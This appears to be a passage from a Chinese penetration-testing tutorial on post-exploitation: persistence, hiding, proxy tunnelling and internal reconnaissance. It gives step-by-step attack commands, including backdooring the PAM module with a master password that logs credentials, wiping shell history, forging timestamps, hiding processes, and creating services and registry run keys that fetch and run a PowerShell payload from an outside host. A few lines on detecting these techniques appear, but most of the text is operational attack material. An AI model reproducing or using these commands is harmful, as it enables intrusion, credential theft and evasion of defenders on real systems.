PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。
利用方法:
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。
排查技巧:
# 1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
# 2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位
10、rookit后门
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。
利用方法:安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。
连接后的截图:
排查技巧:查看端口是否异常,RPM check查看命令是否被替换。
0x03 隐藏篇
1、隐藏文件
Linux 下创建一个隐藏文件:touch .test.txt
touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图:
一般的Linux下的隐藏目录使用命令ls -l
是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
2、隐藏文件时间戳
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
利用方法
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
3、隐藏权限
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。
chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php 删除文件
4、隐藏历史操作命令
在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
技巧一:只针对你的工作关闭历史记录
[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history
它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
技巧二:从历史记录中删除指定的命令
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' .bash_history
5、隐藏远程SSH登陆记录
隐身登录系统,不会被w、who、last等指令检测到。
ssh -T root@127.0.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
6、端口复用
通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?
第一种方式:通过SSLH在同一端口上共享SSH与HTTPS
#安装SSLH
sudo apt-get install sslh
#配置SSLH
编辑 SSLH 配置文件:
sudo vi /etc/default/sslh
1、找到下列行:Run=no 将其修改为:Run=yes
2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
第二种方式:利用IPTables进行端口复用
# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
利用方式:
#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80
具体文章详见:远程遥控 IPTables 进行端口复用
7、进程隐藏
管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
第一种方法:libprocesshider
github项目地址:https://github.com/gianlucaborello/libprocesshider
利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
# 下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
测试:运行 evil_script.py,
此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。
如何在Linux中发现隐藏的进程,
unhide
是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。
下载地址:http://www.unhide-forensics.info/
# 安装
sudo yum install unhide
# 使用
unhide [options] test_list
使用unhide proc
发现隐藏进程evil_script.py,如下图所示:
第二种方法:进程注入工具linux-inject
linux-inject是用于将共享对象注入Linux进程的工具
github项目地址: https://github.com/gaffe23/linux-inject.git
# 下载程序编译
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so
验证进程注入成功,如下图所示:
Cymothoa是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。
下载地址:https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/
# 下载解压
wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
tar zxvf cymothoa-1-beta.tar.gz
#
cd cymothoa-1-beta && make
框架权限维持
0x01 MSF权限维持
使用MSF维持权限的前提是先获得一个meterpreter shell,通过meterpreter shell获取持久性shell的方法有两种:
Persistence模块
通过启动项启动(persistence)的方式,在目标机器上以反弹回连。
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。
-S:作为服务自动启动代理程序(具有SYSTEM权限)
生成的相关文件位置 :
# 后门文件位置:
C:\Windows\Temp
C:\Users\Administrator\AppData\Local\Temp
# 注册表位置:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
Metsvc 模块
通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。
后门排查:目标主机上开启了一个Meterpreter服务。
0x02 Empire 权限维持
Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类,即
elevated(管理权限) | misc(杂项) | powerbreach | userland(用户权限) |
---|---|---|---|
registry* | add_netuser | deaduser | backdoor_lnk |
schtasks* | add_sid_history* | eventlog* | registry |
wmi* | debugger* | resolver | schtasks |
wmi_updater* | disable_machine_acct_change* | ||
get_ssps | |||
install_ssp* | |||
memssp* | |||
skeleton_key* |
注册表
(Empire: agents) > agents
(Empire: agents) > interact URL3FZBV
(Empire: URL3FZBV) > usemodule persistence/elevated/registry*
(Empire: powershell/persistence/elevated/registry) > set Listener test
(Empire: powershell/persistence/elevated/registry) > execute
因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框,在注册表位置如下:
计划任务
(Empire: agents) > interact 9NZ2RWBC
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*
(Empire: powershell/persistence/elevated/schtasks) > set Listener test
(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50
(Empire: powershell/persistence/elevated/schtasks) > execute
在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell
wmi
(Empire: agents) > interact 9NZ2RWBC
(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi
(Empire: powershell/persistence/elevated/wmi) > set Listener test
(Empire: powershell/persistence/elevated/wmi) > run
如何清除后门,最简单的方法就是使用Autoruns,选择WMI选项卡,右键就可以删除恶意后门。
0x03 Cobalt Strike权限维持
通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。
从Cobalt Strike菜单栏,Attacks--Web Drive-by--Scaripted Web Delivery,生成powershell后门。
根据需要可以自己选择,填写所需参数默认端口是80(需要注意的就是不要使用重复端口),Type选择powershell。
点击Launch后,返回powershell远程下载执行命令。
服务自启动后门
sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\""
sc description Name "Just For Test" //设置服务的描述字符串
sc config Name start= auto //设置这个服务为自动启动
net start Name //启动服务
重启服务器后,成功返回一个shell。
注册表自启动
在windows启动项注册表里面添加一个木马程序路径,如:
beacon>getsystem
beacon>shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" /f
账号注销后,重新登录,界面上会出现powershell快速闪过消失,成功返回shell。
注册表还有哪些键值可以设置为自启动:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
二、代理转发
0x01 前言
谈到内网转发,在我们日常的渗透测试过程中经常会用到端口转发,可以利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。
0x02 正反向代理
那接下来咱们唠一下什么是正向/反向代理?
正向代理中,Proxy和Client同属一个区域,对Server是透明的; 反向代理中,Proxy和Server同属一个区域,对Client透明。 但其实这不管是正向还是反向代理都有一个共同的特点,都是代替收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后面那个玩意叫做反向代理。
1、正向代理(Forward Proxy)
Lhost- ->proxy-->Rhost
Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。
2、反向代理(Reverse Proxy)
Lhost<--->proxy<--->firewall<--->Rhost
和正向代理相反(废话),一般情况下,防火墙肯定不能让外网机器随便访问地访问内网机器,所以就提出反向代理。
Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。
简单区分
正向代理的是客户端,反向代理的是服务端,可以理解为正向代理是就比如年少时期喜欢那个Ta,当时很羞涩需要我自己(Lhost)写一份信(proxy)去告诉Ta,反向代理就是喜欢的那个Ta(Rhost)知道并且主动(proxy)过来告诉自己(Lhost)。
0x03 代理工具
1、reGeorg
reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机。根据当前目标网站可解析语言类型,选择所需上传的代理工具脚本,reGeorg 代理工具包含PHP|JSP|ASPX|ASHX 等语言。
项目地址:https://github.com/L-codes/Neo-reGeorg
上传reGeorg的tunnel.nosocket.php到web主机A。访问链接,并转发到本地端口。
当我们通过浏览器访问上传的tunnel.nosocket.php文件时,当页面显示出Georg says, 'All seems fine’表示代理工具能够正常解析运行。
攻击机运行,建立本地代理1080监听端口
python reGeorgSocksProxy.py -p 1080 -u http://192.168.42.175/tunnel.nosocket.php
-
配合proxychains工具实现流量转发
修改proxychains.conf配置文件,删除dynamic_chain的注释,在ProxyList最后加一行
socks5 127.0.0.1 1080
,并把其他的注释。然后使用
proxychains +命令
流量会自动从配置文件端口经过。 -
配合proxifier实现流量转发
使用proxifier需要注意几点:
direct表示不使用socks5代理,直接请求
block表示阻断请求
proxy socks5表示使用socks5代理服务
默认不使用proxy socks5,仅对需要的程序使用socks5代理服务
2、EW
EW 是一套便携式的网络穿透工具,具有SOCKSv5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
该工具能够以"正向"、"反向"、"多级级联"等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
支持 Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
a. 正向socks5
目标存在公网IP,可直接开启监听8888正向连接端口
./ew_for_Win.exe -s ssocksd -l 8888
然后在其他主机上设置公网IP+端口可直接代理(proxychains/proxifiler)
b. 反向socks5
当目标网络边界不存在公网IP,通过反弹方式创建socks代理。先在一台具有公网 ip 的主机A上运行以下命令
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
#在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给8888端口
在受害机上启动SOCKS5服务 并反弹到公网主机的8888端口
ew_for_Win.exe -s rssocks -d VPS_address -e 8888
然后在攻击机上添加VPS_address:1080通过流量转发把流量都通过公网1080端口转发给8888端口。
proxychains
proxifiler
c. 二层网络(有公网)
假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块10.129.72.168连通外网,一块192.168.153.140只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。
先上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下
ew_for_Win.exe -s ssocksd -l 8888
然后在A主机执行
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888
含义是将1080端口收到的代理请求转交给B主机(192.168.153.138)的8888端口
然后攻击机上通过代理A主机的1080端口将流量进行转发
d. 二层网络(无公网)
假设我们获得了右侧A主机和B主机的控制权限,A主机(NAT)没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
这次操作有四步:
1.在公网vps(45.xxx.xxx.72)添加转接隧道,将10800端口收到的代理请求转交给8888端口
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
2.B主机(192.168.153.138)主机正向开启8888端口
./ew_for_Win.exe -s ssocksd -l 9999
3.A主机利用lcx_slave方式,将公网VPS的8888端口和B主机的9999端口连接起来
./ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999
现在MyPC可通过访问45.xxx.xxx.72:10800来使用192.168.153.138主机提供的socks5代理,代理成功,vps会有rssocks cmd_socket OK!提示
3、Frp
简单地说,frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP、TCP、UDP等众多协议。
a. 服务端设置
查看服务器对应的操作系统及架构,然后下载对应的版本
https://github.com/fatedier/frp
服务端需要frps frps.ini两个文件
# frps.ini
[common]
bind_port = 7000
vhost_http_port = 6081
max_pool_count = 20
allow_ports = 2000-3000,6081,4000-50000 #端口白名单
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin
token = 123456 #客户端也要配置一样的token
authentication_timeout = 90000 #超时时间,如果客户端遇到服务启动认证失败,大概率是时区问题,服务器设置一下就好了
- “bind_port”表示用于客户端和服务端连接的端口,这个端口号我们之后在配置客户端的时候要用到。
- “dashboard_port”是服务端仪表板的端口,若使用7500端口,在配置完成服务启动后可以通过浏览器访问 x.x.x.x:7500 (其中x.x.x.x为VPS的IP)查看frp服务运行信息。
- “token”是用于客户端和服务端连接的口令,请自行设置并记录,稍后会用到。
- “dashboard_user”和“dashboard_pwd”表示打开仪表板页面登录的用户名和密码,自行设置即可。
- “vhost_http_port”和“vhost_https_port”用于反向代理HTTP主机时使用,本文不涉及HTTP协议,因而照抄或者删除这两条均可。
保存然后启动服务
./frps -c ./frps.ini
这是前台启动,后台启动命令为
nohup ./frps -c ./frps.ini &
可以通过访问http://xx.xx.xx.xx:7500/static/#/proxies/tcp
访问frp
服务的监控界面,账号密码与上面配置的一致。
b. 客户端设置
根据对应的操作系统及架构,下载相应的程序。客户端需要frpc frpc.ini文件
# frpc.ini
[common]
server_addr = xx.xx.xx.xx #公网ip地址
server_port = 7000
token = 123456
#公网通过ssh访问内部服务器
[ssh]
type = tcp #连接协议
local_ip = 127.0.0.1
local_port = 22 #ssh默认端口号
remote_port = 6000 #自定义的访问内部ssh端口号
#公网访问内部web服务器以http方式
[web]
type = http #访问协议
local_port = 8081 #内网web服务的端口号
自定义规则
frp实际使用时,会按照端口号进行对应的转发,原理如下图所示。
- “[xxx]”表示一个规则名称,自己定义,便于查询即可。
- “type”表示转发的协议类型,有TCP和UDP等选项可以选择,如有需要请自行查询frp手册。
- “local_port”是本地应用的端口号,按照实际应用工作在本机的端口号填写即可。
- “remote_port”是该条规则在服务端开放的端口号,自己填写并记录即可。
保存然后启动服务
./frpc -c ./frpc.ini
客户端后台运行及开机自启
frpc运行时始终有一个命令行窗口运行在前台,影响美观,我们可以使用一个批处理文件来将其运行在后台,而且可以双击执行,每次打开frpc不用再自己输命令了。
在任何一个目录下新建一个文本文件并将其重命名为“frpc.bat”,编辑,粘贴如下内容并保存。
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
cd C:\frp #frp存放路径
frpc -c frpc.ini
exit
c. 认证超时解决办法
一般认证超时的原因是由于2个服务器之间时间不同,可以通过命令tzselect修改时区,按照步骤设置时区
$ tzselect
同步服务器时间
sudo yum install ntp
timedatectl set-timezone Asia/Shanghai
timedatectl set-ntp yes
查看时间确保同步timedatectl
4、多层代理例子
a. 环境搭建拓扑图如下:
192.168.1.0/24 模拟公网环境。
每台 PC 上都有一个 web 服务,内网主机除边缘 win7 外全部不出网,内网同网段之间的主机可以相互访问,不同网段相互隔离。
假设现在已经拿到边缘主机 win7。(文中所指的 win2012 全部指左边这台)
由于环境中途崩了一次,从 Venom 开始 ip 有所变化,请见谅。
b. ew
先看下出不出网,ping 一下 win7 发现是出网的,这种就可以使用反向连接。
将 ew 上传至边缘机器。
在攻击机上执行:
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
在边缘机器上执行:
ew_for_Win.exe -s rssocks -d 192.168.1.104 -e 1234
这时候回来看攻击机,就已经成功了。
给浏览器设置一个代理,即可访问内网 web。
经过一系列操作,我们又写入了一个 shell。同样这里需要开启蚁剑代理。
查看 192.168.183.134 这台主机是否出网,结果是不出网。
由于需要执行命令,我们得保证一级代理不能掉。所以这里我用了两个 webshell 工具,蚁剑和冰蝎。
蚁剑关闭代理,冰蝎开启 sock5 代理 1080 端口,冰蝎去连 192.168.183.134 这台不出网主机,蚁剑连接边缘机器 192.168.1.110。
攻击机另起一个 cmd,执行命令:
ew_for_Win.exe -s lcx_listen -l 3080 -e 8888
注意这里的端口不要和刚刚 1080 端口重合。
不出网主机 win2012 执行命令:
ew_for_Win.exe -s ssocksd -l 9999
这里没回显是正常的,但要保证一级代理不能掉。
再通过边缘机器打通 192.168.1.110:8888 和 192.168.183.134:9999 之间的通讯隧道
ew_for_Win.exe -s lcx_slave -d 192.168.1.104 -e 8888 -f 192.168.183.134 -g 9999
这里同样的浏览器再挂个代理就可以了。
再拿 webshell 工具去连的话就另外再挂个 3080 代理就行了。
frp
攻击机配置 frps.ini 文件
[common]
bind_port = 7000
边缘机器配置 frpc.ini
[common]
server_addr = 192.168.1.104
server_port = 7000
[http_proxy]
type = tcp
plugin=socks5
remote_port = 6000
攻击机执行命令
frps.exe -c frps.ini
边缘机器执行命令
frpc.exe ‐c frpc.ini
浏览器挂代理访问 6000 端口即可
拿到 win2012 的 webshell 权限后,准备进一步代理到 192.168.57.0/24。一级代理不要掉。
攻击机配置 frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7788
边缘主机 win7 配置 frps.ini
[common]
bind_addr = 192.168.183.131
bind_port = 7799
同时配置 win7 主机上 frpc.ini
[common]
server_addr = 192.168.1.104
server_port = 7788
[http_proxy]
type = tcp
local_ip = 192.168.183.131
local_port = 1080
remote_port = 1080
同样上传 frp 到 win2012 上,配置 frpc.ini
[common]
server_addr = 192.168.183.131
server_port = 7799
[http_proxy]
type = tcp
remote_port = 1080
plugin = socks5
执行 frpc.exe ‐c frpc.ini,这里都是没什么回显。
设置代理 1080
同样的写入 shell 之后 webshell 工具连接挂个代理就行了。
c. Venom
此时 ip 发生变化:
•win7:192.168.183.138 192.168.1.109
•win2012:192.168.183.139 192.168.57.136
・核心机器 win2012:192.168.57.137
攻击机上执行
admin.exe -lport 9999
边缘主机 win7 上执行
agent.exe -rhost 192.168.1.104 -rport 9999
回到攻击机器上就已经有了连接。
然后执行命令,将流量代理到 7777 端口
goto 1socks 7777
这时 win2012 就可以访问了
通过冰蝎走代理,将 agent.exe 上传至 win2012。
在攻击机上让节点一进行监听,也就是在边缘机器 win7 上等待 win2012 连接。
在 win2012 上执行命令连接 win7:
agent.exe -rhost 192.168.183.138 -rport 9998
这时在攻击机上使用 show 命令,查看节点,就可以发现已经有两个节点,选择节点 2,并 socks 代理到本机 9998 端口。
d. Nps
这个工具我还是第一次用,由于有图形化界面,感觉这个工具还比较好用,不像 frp 要去目标机器配置文件,也比 ew 更加稳定。
首先去官网下载 nps 和 npc:https://github.com/ehang-io/nps/releases
这里我都是 windows64 位,下载这两个就可以了。
直接执行 nps.exe (要注意端口,被占用了就修改 conf 文件)
然后访问 127.0.0.1:8080,如果是 vps 上起的话就访问 vps:8080,默认密码 admin/123。登录后点击右侧客户端,然后新增:
这里可填可不填,留空的话会自动生成密匙,等会拿这个密匙来让边缘主机 win7 连接攻击机器。
这里 ID 和密匙等会要用。
点击右侧 socks 代理,新增。ID 为上面的 id,端口填一个没有被占用的端口就好了,保存后 server 就配置完毕了。
将 npc 上传至边缘机器 win7,并执行命令:
npc.exe -server=ip:port -vkey=服务端生成的key
这里的 port 默认是 8024,如果修改过 nps.conf 中的端口就是修改过后的端口,key 就是上面服务端的密钥。
执行后可以看到连接已经变成在线,这时候就已经代理好了。
浏览器挂个代理或者用 Proxifier 都是可以的,前面因为一直都是用的浏览器这里还是用下 Proxifier。
新增代理规则如下
做二层代理时候想了很久,翻遍全网都没有一个案例,我的想法是 kali 上去开一个 nps 服务端,然后 msf 添加路由,这是一种方式。
还有就是 3389 远程去连边缘主机 win7,但是这样操作太敏感了。官方文档有如下这样的说明,但是没找到参数怎么用,这里就用 3389 勉强试一下,希望有懂的表哥指点。初次体验 nps 感觉不是很好,如果是只做一层代理还是可以。
经过一系列代理操作还是在 win7 边缘主机访问到 win2012 核心机器
e. 总结
个人觉得 Venom 是对新手最友好的,并且多层代理还比较方便,两层三层都比较容易上手,然后就是 nps,有图形化界面还是不错的。frp 比较稳定,但是要配置 ini 文件比较麻烦。ew 稳定性又差一点。总的来说就是各有所长吧,在真实环境中要根据不同的情况使用不同的方案。
0x04 ssh隧道代理转发
ssh有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。
socks代理:
ssh -qTfnN -D port remotehost
参数详解:
-C 允许压缩数据
-q 安静模式
-T不占用 shell
-f 后台运行,并推荐加上 -n 参数
-N不执行远程命令
-g允许远端主机连接本地转发的端口
-n把 stdin 重定向到 /dev/null (防止从 stdin 读取数据)
-L port:host :hostport 正向代理
//将本地机(客户机)的某个端口转发到远端指定机器的指定端口
-R port:host :hostport 反向代理
//将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-D port socks5代理
//指定一个本地机器 "动态" 应用程序端口转发
1、ssh本地转发
远程管理服务器上的mysql,mysql不能直接root用户远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口实现以root用户远程登陆mysql。
ssh -CfNg -L <本机地址>:<本机端口>:<目标B地址>:<目标B端口> 用户名@跳板IP(A)
ssh -CfNg -L 1234:127.0.0.1:3306 root@45.XX.XX.X21
2、 ssh远程转发
内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就可以直接访问到了内网的端口。
ssh -CfNg -R <本地端口>:<目标B地址>:<目标B端口> 用户名@本地IP
ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142
现在在192.168.153.142访问127.0.0.1:81就是访问内网的服务器的80端口。
3、ssh动态转发
远端服务器有限制隔离,本地主机无法直接访问,需要将一台可以访问远端服务器的主机作为跳板,设置为代理端,来代理访问不能访问的资源。
ssh -qTfnN -D <本地端口> 用户名@跳板IP(A)
ssh -qTfnN -D 1080 root@45.XX.XX.X21
本地Proxychains配置socks4 127.0.0.1:1080
三、信息收集
0x01 简介
在渗透测试中信息收集的深度与广度以及对关键信息的提取,直接或间接的决定了渗透测试的质量,所以信息收集的重要性不容小觑,看得懂并不代表会,不如自己实操一遍,这里将提供一个单域的环境,进行信息收集,下载地址在文末提供。
1、单域环境
这张图为这次信息收集所搭建的单域内网环境。
2、工作组与域环境比较
工作组是一群计算机的集合,它仅仅是一个逻辑的集合,各自计算机还是各自管理的,你要访问其中的计算机,还是要到被访问计算机上来实现用户验证的。而域不同,域是一个有安全边界的计算机集合,在同一个域中的计算机彼此之间已经建立了信任关系,在域内访问其他机器,不再需要被访问机器的许可了。为什么要区分呢?因为这两种环境攻击的手法不同,ARP欺骗、DNS欺骗只在工作组有效。
3、基本网络框架组成
dmz
在实际的渗透测试中,大多数情况下,在web环境中拿到的权限都在dmz中。这个区域不属于严格意义上的内网。如果访问控制策略配置合理,dmz就会处在从内网能够访问DMz,而从dmz访问不能进入内网的状态。
内网
内网中包括很多服务器、办公电脑等,办公区的安全防护水平通常不高,基本的防护机制大多数为杀毒软件或主机入侵检测产品。服务器、域控制器的防护比较强,我们主要的目标是要拿下域控制器,要拿下域控前期的信息收集就显得格外重要。
AD域控制器一般只在Windows server系统
linux一般很少会被当成域控制器,因为管理起来特别麻烦,功能也比较少,不过linux上也有相应的活动目录的,可是要装LDAP这个环境,一般企业很少会用LDAP来管理的,功能上不及域强大,而且用linux来管理的话要求技术人员门槛也比较高。而windows作为域控制器有图形化界面,能够很好的进行管理。
0x02 基本信息收集
目的:为了了解当前服务器的计算机基本信息、防护的强弱,为后续判断服务器角色、网络环境做准备。
systeminfo
查看计算机版本、补丁编号等信息
net start
查看启动的服务
tasklist
查看进程列表
schtasks /query /fo LIST /v
查看目标主机上的计划任务信息
schtasks
查看计划任务
SPN:服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。主要利用工具有:setspn。利用Windows自带的setspn工具,普通域用户权限执行即可:
setspn -T rootkit.org -Q */*
可以发现内网存在mssql等服务
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
系统命令查看安装软件的版本信息
nltest /domain_trusts
获取域信任列表信息
或者使用wmic product get name.version
命令
wmic service list brief
获取本机服务信息,查看是否有可以可以进行深入利用的点
netsh firewall show config
查看防火墙的配置信息
wmic nteventlog get path,filename,writeable
查看是否能修改删除日志
0x03 网络信息收集
目的:为了了解当前服务器的网络接口信息,为判断当前拿下的主机角色、功能、熟悉网络架构,获取当前内网的存活主机做准备。
ipconfig /all
判断存在域-dns 有域的有dns后缀,无域的无dns后缀
这个是自己的本机无域环境,两者进行对比
net time /domain
获取主域名,其实这个就是主域的计算机名,再通过nslookup或ping命令来获取主域的IP地址
netstat -ano
查看当前网络端口开放
常见端口及其服务:
防护软件信息收集
域内的较件和杀毒软件应该是一致的,常见的杀毒软件进程如下:
系统命令获取反病毒产品详情信息,包括安装位置和版本:
wmic /namespace:\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
经过个人测试,这条命令在这个环境内是不可以用的,但在本机进行测试时,可以清晰的看到所有防护软件,所以这里就介绍一下。
使用ping命令检查局域网内存活的主机
linux主机环境下:
for i in {132..254}; do ping -q -i 0.01 -c 3 192.168.64.\(i &> /dev/null && echo 192.168.64.\)i is alive; done
个人感觉很不好用,要是没有在存活主机IP地址的位置开始,那么都会出现一直卡壳,这是我试验过的,所以只能从存活的主机开始。
windows主机环境下:
for /l %p in (143,1,254) do @ping -l 1 -n 3 -w 40 192.168.3.%p & if errorlevel 1 (echo 192.168.3.%p>>na.txt) else (echo 192.168.3.%p>>wangcheng.txt)
na.txt记录所有ping不通的主机,wangcheng.txt则记录所有可以ping通的主机,这个文件保存的位置有点难找,需细心。
0x04 用户信息收集
目的:为了了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试。
系统默认常见用户身份:
Domain Admins :域管理员(默认对域控制器有完全控制权)
Domain Computers :域内机器
Domain Controllers :域控制器
Domain Users :域用户
Domain Guest : 域访客,权限低
Enterprise Admins : 企业系统管理员用户
whoami /all
获取用户权限
net config workstation
获取登录信息
net user
获取本地用户 net user /domain
获取域用户信息
